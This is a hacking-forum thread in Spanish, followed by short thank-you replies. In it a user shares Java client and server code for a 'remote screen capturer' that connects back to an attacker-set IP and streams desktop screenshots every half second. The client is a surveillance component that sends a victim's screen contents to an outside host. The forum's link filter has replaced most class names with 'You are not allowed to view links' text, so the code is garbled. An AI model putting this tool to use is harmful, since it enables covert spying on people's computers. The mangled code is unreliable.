send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Capturador de Pantalla remoto [By Expermicid]

  • 5 Respuestas
  • 2245 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« en: Enero 17, 2013, 02:37:06 pm »
Hace un tiempo que hice este code y quiero compartirlo con ustedes.

El tipo de conexion es inversa. Y su objetivo es tomar capturas del escritorio cada cierto intervalo de tiempo y las envia a traves de socket a un servidor en donde se previsualizan una despues de otra. :)

Cliente:

Código: Java
  1. import java.io.*;
  2. import java.net.*;
  3. import java.awt.Rectangle;
  4. import java.awt.Robot;
  5. import java.awt.Toolkit;
  6. import java.awt.image.BufferedImage;
  7. import javax.imageio.ImageIO;
  8.  
  9. public class Cliente {
  10.  
  11.         static final int PUERTO = 5000;  // puerto de conexion
  12.         private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login HOST;
  13.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sCliente;
  14.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login salida;
  15.        
  16.     // constructor
  17.         public Cliente( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login host ) {
  18.                 HOST = host;
  19.         } // fin del constructor
  20.        
  21.         // metodo ejecutarConexion
  22.         private void ejecutarConexion() {
  23.                 try {
  24.                         conectarServidor();
  25.                         salida = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login( sCliente.getOutputStream() );
  26.                         salida.flush();
  27.                         while ( true ) {
  28.                                 enviarImage();
  29.                                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.sleep(500); // intervalo de tiempo entre capturas del escritorio
  30.                         }
  31.                 } catch ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) {
  32.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println(e.getMessage());
  33.         }
  34.         } // fin del metodo ejecutarConexion
  35.        
  36.         // metodo conectarServidor
  37.         private void conectarServidor() throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  38.                 sCliente = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login( HOST, PUERTO );
  39.     } // fin metodo conectarServidor
  40.  
  41.         // metodo enviarImage
  42.         private void enviarImage() {
  43.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login rectangleTam = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.getDefaultToolkit().getScreenSiz  e());
  44.         try {
  45.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login robot = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  46.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login bufferedImage = robot.createScreenCapture(rectangleTam);
  47.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login salidaImagen = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  48.             ImageIO.write(bufferedImage, "jpg", salidaImagen);
  49.             byte[] bytesImagen = salidaImagen.toByteArray();
  50.             salida.writeObject( bytesImagen );
  51.             salida.flush();
  52.         } catch ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) {
  53.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println(e.getMessage());
  54.         }
  55.         } // fin del metodo enviarImage
  56.        
  57.         // metodo Main
  58.         public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login[] args) {
  59.                 Cliente principal = new Cliente( "Ip_a_Conectar" ); // cambiar Ip_a_Conectar por la que corresponda
  60.                 principal.ejecutarConexion();
  61.         }
  62.  
  63. }
  64.  

Servidor:

Código: Java
  1. import java.io.*;
  2. import java.net.*;
  3. import javax.imageio.ImageIO;
  4. import java.awt.Graphics2D;
  5. import java.awt.RenderingHints;
  6. import java.awt.image.BufferedImage;
  7. import javax.swing.ImageIcon;
  8. import javax.swing.JFrame;
  9. import javax.swing.JLabel;
  10.  
  11. public class Servidor extends You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  12.  
  13.         static final int PUERTO = 5000; // puerto de conexion
  14.         private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sServidor;
  15.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sCliente;
  16.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login entrada;
  17.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login label;
  18.        
  19.         // constructor
  20.         public Servidor() {
  21.                 setTitle("Capturador de Pantalla");
  22.                 setSize(810, 610); // tamaño de la ventana
  23.                 setVisible(true);
  24.                 setResizable(false);
  25.                 setDefaultCloseOperation(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.EXIT_ON_CLOSE);
  26.                
  27.                 label = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  28.                 add(label);
  29.         } // fin del constructor
  30.        
  31.         // metodo ejecutarConexion
  32.         private void ejecutarConexion() {
  33.                 try {
  34.                         sServidor = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(PUERTO);
  35.                         while ( true ) {
  36.                 try {
  37.                     esperarConexion();
  38.                     entrada = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login( sCliente.getInputStream() );
  39.                     procesarImagen();
  40.                 } catch ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) {
  41.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println(e.getMessage());
  42.                 }
  43.                         }
  44.                 } catch ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) {
  45.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println(e.getMessage());
  46.         } finally {
  47.             cerrarConexion();
  48.         }
  49.         } // fin del metodo ejecutarConexion
  50.        
  51.         // metodo esperarConexion
  52.         private void esperarConexion() throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  53.                 sCliente = sServidor.accept();
  54.     } // fin del metodo esperarConexion
  55.        
  56.         // metodo cerrarConexion
  57.         private void cerrarConexion() {
  58.         try {
  59.             entrada.close();
  60.             sCliente.close();
  61.         } catch( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) {
  62.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println(e.getMessage());
  63.         }
  64.     } // fin del metodo cerrarConexion
  65.        
  66.         // metodo procesarImagen
  67.         private void procesarImagen() throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  68.                
  69.         // medidas de redimensionado de la imagen
  70.                 int WIDTH = 800;
  71.                 int HEIGHT = 600;
  72.                
  73.                 do {
  74.                         try {
  75.                 byte[] bytesImagen = (byte[]) entrada.readObject();
  76.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login entradaImagen = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(bytesImagen);
  77.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login bufferedImage = ImageIO.read(entradaImagen);
  78.                
  79.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login tnsImg = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(WIDTH,HEIGHT, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.TYPE_INT_RGB);
  80.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login graphics2D = tnsImg.createGraphics();
  81.                 graphics2D.setRenderingHint(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.KEY_INT  ERPOLATION,You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.VALUE_INTERPOLATION_BILI  NEAR);
  82.                 graphics2D.drawImage(bufferedImage, 0, 0, WIDTH, HEIGHT, null);
  83.                
  84.                 label.setIcon(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login( tnsImg ));
  85.                         } catch( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) {
  86.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println(e.getMessage());
  87.                 }      
  88.                 } while ( true );
  89.         } // fin del metodo procesarImagen
  90.        
  91.         // metodo Main
  92.         public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login[] args) {
  93.                 Servidor principal = new Servidor();
  94.                 principal.ejecutarConexion();
  95.         }
  96.  
  97. }

Antes de ponerle el video les dejo algunas aclaraciones.

En el cliente, en el metodo main tienen que cambiar Ip_a_Conectar por la IP que corresponda. Y en el metodo ejecutarConexion hay un sleep que es el intervalo entre capturas. Pueden cambiarlo a gusto.
Por parte del servidor, en el metodo procesarImagen tiene unas medidas de redimensionado de la imagen. Cuando recibe la imagen la achica a esas dimensiones para que entre en el form. Si uno quiere puede cambiar esas medidas pero como recomendacion tambien necesitara cambiar las medidas de la ventana que hay en el constructor.

Dicho todas las cosas, les dejo un video :)



Saludos
« Última modificación: Marzo 01, 2013, 10:49:24 am por Expermicid »

Desconectado miniminiyo

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Febrero 03, 2013, 08:18:26 pm »
muy bueno el programa,se agradece el aporte

Desconectado Ju4n C4rl0s

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Mayo 31, 2013, 10:52:11 pm »
Esta buenisimo tu programa lo he leido pero hay ciertas cosas que no entiendo de la sintasis pero se ve interesantisimo

Desconectado elshotta

  • *
  • Underc0der
  • Mensajes: 88
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Junio 01, 2013, 02:33:11 pm »
muy bueno
gracias por compartir

Desconectado D4rkC0d3r

  • *
  • Underc0der
  • Mensajes: 202
  • Actividad:
    0%
  • Reputación 0
  • \xeb\x16\x5e\x31\xd2\
    • Ver Perfil
    • Ethical Hacking, Malware Analysis, Disinfection Techniques and more...
« Respuesta #4 en: Junio 01, 2013, 05:58:36 pm »
Excelente aporte, gracias por compartir!

Saludos!!  ;D

D4rkC0d3r

Desconectado paixon

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #5 en: Junio 02, 2013, 06:47:49 pm »
Excelente aporte.

 

¿Te gustó el post? COMPARTILO!



Downloader [By Expermicid]

Iniciado por Expermicid

Respuestas: 0
Vistas: 1235
Último mensaje Enero 17, 2013, 02:32:51 pm
por Expermicid
Capturador de pantalla

Iniciado por Expermicid

Respuestas: 2
Vistas: 1693
Último mensaje Junio 01, 2013, 05:34:31 pm
por D4rkC0d3r